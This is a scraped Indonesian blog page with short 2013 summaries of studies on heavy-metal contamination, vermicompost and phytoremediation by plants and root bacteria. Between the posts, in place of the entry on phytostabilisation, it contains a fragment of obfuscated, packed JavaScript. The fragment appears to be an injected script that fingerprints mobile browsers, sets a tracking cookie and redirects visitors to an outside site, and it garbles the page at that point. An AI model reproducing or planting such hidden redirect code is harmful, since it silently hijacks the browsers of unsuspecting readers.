Sumber: Jiwan Singh and Ajay S. Kalamdhad. 2013. Reduction of bioavailability and leachability of heavy metals during vermicomposting of water hyacinth. 

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Environmental Science and Pollution Research.December 2013, Volume 20, Issue 12, pp 8974-8985.

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VERMIKOMPOS DAN KONTAMINASI LOGAM BERAT

November 25th, 2013 No comments

VERMIKOMPOS  DAN KONTAMINASI LOGAM BERAT

Pengaruh kascing limbah perkotaan terhadap biomasa  bahan kering dan konsentrasi logam berat dalam tanaman selada dievaluasi dalam dua percobaan rumah kaca, satu dengan Oxisol dan lainnya dnegan Alfissol.

Percobaan dirancang dalam rancangan acak lengkap dengan perlakuan kombinasi lima dosis pengapuran, untuk meningkatkan KB pada 40, 50, 60, 70 dan 80%, dengan lima dosis kascing 0, 25, 50, 75 dan 100 t / ha, dengan empat ulangan.

Penggunaan kascing limbah perkotaan dengan dosis lebih dari 50 t / ha membatasi hasil selada pada kedua media tanah. Namun dmeikian pada dosis hingga setinggi ini, hasil selada masih layak dan aman sebagai bahan makanan karena tidak terkontaminasi logam berat.

Sumber:

Mantovani, José Ricardo, Ferreira, Manoel Evaristo, Cruz, Mara Cristina Pessôa da, Chiba, Márcio Koiti, & Braz, Leila Trevizan. (2003). 

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Liming and urban waste vermicompost effects on production and heavy metals concentration of lettuce. Hortic. Bras. [online]. 2003, vol.21, n.3, pp. 494-500.

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Kandungan logam berat pada kulit batang pohon kota – Indikator Polusi Udara

November 23rd, 2013 No comments

Kandungan logam berat pada kulit batang pohon kota – Indikator Polusi Udara

 

Kulit batang dari tujuh spesies pohon dianalisis dari 32 lokasi yang memiliki tingkat polusi udara berbeda-beda di Abeokuta, Nigeria.

Konsentrasi Pb, Zn, dan Cu ditentukan dengan spektrometri serapan atom.

Konsentrasi Pb dan Zn sebesar  1,9-159,8 dan 16,5-659,1 mikrogram / ​​g  berat kering ,  konsentrasi ini berkorelasi dengan volume lalu lintas; hal ini menunjukkan pencemaran dari sumber antropogenik.

Hasil yang diperoleh untuk Cu sebesar  4,2-20,7 mikrogram / ​​g  berat kering, meskipun lebih rendah namun  masih signifikan;  namun tidak menunjukkan korelasi dengan kepadatan lalu lintas.

Penelitian ini menegaskan bahwa jenis pohon Azadirachta indica (Dogoyaro – pohon lokal yang sangat populer) dapat digunakan bio-indikator pencemaran udara oleh logam berat.

 

Sumber: Odukoya O.O., T.A.Arowolo  dan O.

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Bamgbose. 2000. Pb, Zn, and Cu levels in tree barks as indicator of atmospheric pollution. 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FITOREMEDIASI LOGAM BERAT – PENYERAPAN LOGAM OLEH TUMBUHAN

November 23rd, 2013 No comments

FITOREMEDIASI LOGAM BERAT – PENYERAPAN LOGAM OLEH TUMBUHAN

 

Logam berat adalah salah satu jenis kontaminan lingkungan yang sangat penting. Beberapa metode telah digunakan untuk membersihkan lingkungan yang tercemar logam berat,  tetapi kebanyakan dari metode ini snagat mahal dan sulit mendapatkan hasil optimal .  Pada saat ini , fitoremediasi dianggap sebagai solusi teknologi yang efektif biaya dan terjangkau untuk mengekstrak atau menyerap polutan logam dari tanah dan air yang terkontaminasi . Teknologi ini dianggap ramah lingkungan dan efektif biaya .
Tulisan ini mengkompilasi informasi tentang logam berat arsenik , timbal , dan merkuri ( As, Pb , Hg dan ), tentang sumbernya , efek dan pengolahannya.  Uraian secara mendalam tentang teknologi fitoremediasi , termasuk mekanisme penyerapan logam berat dan hasil-hasil penelitian yang terkait dengan topik ini.

Selain itu , juga dijelaskan beberapa sumber dan efek dari As, Pb , Hg dan pada lingkungan , keuntungan dari teknologi fitoremediasi untuk mengurangi polutan dan juga mekanisme serapan logam berat dalam teknologi fitoremediasi, serta faktor yang mempengaruhi mekanisme serapan logam berat oleh tubmuhan.

Beberapa tanaman telah digunakan dalam fitoremediasi dan mereka mampu menyerap kontaminan dari tanah .

Beberapa proses penting yang terlibat dalam teknologi fitoremediasi adalah phytostabilization dan phytoextraction untuk kontaminan anorganik; phytotransformation / phytodegradation , rhizofiltration , dan rhizodegradation untuk kontaminan organik .

Eksudat akar mampu menstabilkan , demobilisasi dan mengikat kontaminan dalam matriks tanah , sehingga mengurangi bioavailabilitas nya. Semua ini disebut sebagai proses phytostabilization . Spesies tumbuhan tertentu telah digunakan untuk menyerap kontaminan dalam tanah dan air tanah,  melalui penyerapan dan akumulasi oleh akar , adsorpsi ke akar , atau pengendapan dalam zona akar . Proses ini untuk kontaminan organik dan kontaminan logam dalam tanah , sedimen , dan air limbah.
Jenis tumbuhan tertentu dapat menyerap dan hyperaccumulate kontaminan logam dan / atau kelebihan hara  dalam akarnya dan biomasa tajuk yang dipanen , dari substrat pertumbuhan melalui proses phytoextraction .

Proses fitoekstraksi ini berlaku untuk logam , metaloid , radionuklida , nonmetals , dan organik kontaminan dalam tanah , sedimen , dan lumpur menengah .

Proses Phytovolatilization adalah kemampuan tanaman untuk menyerap dan kemudian menguapkan kontaminan ke atmosfir . Proses ini berlaku untuk kontaminan logam dalam air tanah , tanah , sedimen , dan air limbah.

Dalam proses phytotransformation / phytodegradation ini kontaminan “dirombak” oleh tanaman melalui proses metabolisme dalam tubuh tanaman ; atau pemecahan kontaminan secara eksternal oleh senyawa yang dihasilkan (dikeluarkan0 oleh tanaman. Proses ini berlaku untuk molekul organik kompleks yang terdegradasi menjadi molekul anorganik sederhana dalam tanah , sedimen , lumpur , air limbah.

Akar tanaman dapat menyerap kontaminan logam dan / atau hara yang berlebih dari substrat pertumbuhannya melalui proses rhizofiltration ( = root) , adsorpsi , atau  presipitasi dalam akar tanaman, atau penyerapan kontaminan yang ada dalam larutan yang mengelilingi zona akar . Proses ini berlaku untuk penyerapan logam , hara yang berlebih , dan kontaminan radionuklida yang ada dalam air tanah , air permukaan , dan air limbah .

 

Sumber:

Bieby Voijant Tangahu,  Siti Rozaimah Sheikh Abdullah,  Hassan Basri,  Mushrifah Idris,3 Nurina Anuar   and Muhammad Mukhlisin. 2011.  A Review on Heavy Metals (As, Pb, and Hg) Uptake by Plants through Phytoremediation. International Journal of Chemical Engineering. Volume 2011 (2011), Article ID 939161, 31 pages.

 

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FITOREMEDIASI LOGAM BERAT DAN BAKTERI-AKAR

November 23rd, 2013 No comments

FITOREMEDIASI LOGAM BERAT  DAN BAKTERI-AKAR

 

Pencemaran tanah dengan logam berat merupakan masalah lingkungan yang signifikan dan berdampak negatif terhadap kesehatan manusia dan pertanian .

Rhizosfer , sebagai interface antara tanah dan tanaman , memainkan peran penting dalam fitoremediasi tanah yang terkontaminasi oleh logam berat ;  dimana  populasi mikroba rizosfir mampu mempengaruhi mobilitas logam berat dan ketersediaannya untuk tanaman melalui pelepasan agen chelating , pengasaman , solubilisasi fosfat dan perubahan potensial redoks; sehingga  mempunyai potensi untuk meningkatkan proses fitoremediasi .
Strategi Fitoremediasi dengan menggunakan rhizobakteri logam berat telah  banyak dikaji secara ilmiah.

Makalah ini meninjau beberapa kemajuan terbaru tentang efek dan pentingnya rhizobakteri dalam fitoremediasi logam berat pada atanah-tanah yang terkontaminasi .

Mekanisme yang terlibat dalam transfer dan mobilisasi logam berat oleh rhizobakteri perlu diungkapkan lebih jauh, dan pemilihan isolat mikroba dari rhizosfer tanaman yang tumbuh di tanah yang terkontaminasi logam berat diperlukan program ” restorasi ” .

Ketika mengevaluasi dampak dari rhizobakteri terhadap hytoremediation pada  tanah yang terkontaminasi, literatur menunjukkan bahwa bakteri tertentu pada akhirnya dapat digunakan dalam strategi fitoremediasi. Dalam hal ini, logam berat dapat diserap dari tanah tercemar dengan jalan meningkatkan kemampuan tanaman mengakumulasikan logam atau dengan meningkatkan jumlah biomassa tanaman.
Pada  tanah-tanah yang terkontaminasi parah, dimana kandungan logam melebihi batas toleransi tanaman, dimungkinkan memperlakukan tanaman dengan rhizobakteri yang mampu memicu pertumbuhan tanaman; meningkatkan biomassa tanaman dan sehingga mampu menstabilkan tanah, revegetasi tanah, dan remediasi tanah-tanah yang tercemar logam.

Sekresi oleh rhziobacteria memainkan peran utama dalam  fitoremediasi . Mekanisme tidak langsung mencakup mencegah bakteri patogen pertumbuhan dan perkembangan tanaman, sedangkan mekanisme langsung meliputi:  fiksasi nitrogen, sintesis siderophores yang dapat melarutkan dan menyerap zat besi dari tanah;  produksi fitohormon seperti auksin dan sitokinin, yang dapat meningkatkan pertumbuhan tanaman; dan solubilisasi mineral fosfor.

 

Sumber:  Yan-de Jing,  Zhen-li He,and Xiao-e Yang. 2007.  Role of soil rhizobacteria in phytoremediation of heavy metal contamin.  J. Zhejiang Univ. Sci. B. 2007; 8(3): 192–207.

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FITOREMEDIASI LOGAM BERAT PADA TANAH DAN AIR

November 23rd, 2013 No comments

FITOREMEDIASI LOGAM BERAT PADA TANAH DAN AIR

Pencemaran lingkungan telah mempengaruhi kualitas pedosphere , hidrosfer, atmosfer , litosfer dan biosfer .  Bernagai upaya-upaya telah dilakukan selama dua dekade terakhir untuk mengurangi sumber polusi dan memperbaiki sumberdaya tanah dan air yang tercemar .

Fitoremediasi dianggap sebagai metode yang lebih efektif- biaya dan efek sampingnya  lebih sedikit dibandingkan dengan pendekatan fisik dan kimia.

Lebih dari 400 spesies tanaman telah diidentifikasi memiliki potensi untuk remediasi tanah dan air yang tercemar. Di antara tumbuhan ini adalah  Thlaspi , Brassica , sedum alfredii H. , dan spesies Arabidopsis .

Kemajuan terbaru di bidang bioteknologi memainkan peran yang menjanjikan dalam pengembangan tumbuhan hyperaccumulators baru dengan jalan mentransfer gen hyperaccumulating logam dari spesies liar yang produksi biomasanya sedikit ke spesie yang banyak menghasilkan biomasa dan dapat dibudidayakan di masa mendatang .

Tulisan ini mereview kemajuan baru dalam aplikasi penelitian dan praktikal fitoremediasi untuk sumberdaya tanah dan air .

 

Sumber: Mohammad Iqbal Lone

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November 20th, 2013 No comments

FITOSTABILISASI PENCEMAR LOGAM BERAT

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

FITOREMEDIASI EKOSISTEM AKUATIK YANG TERCEMAR LOGAM BERAT

November 20th, 2013 No comments

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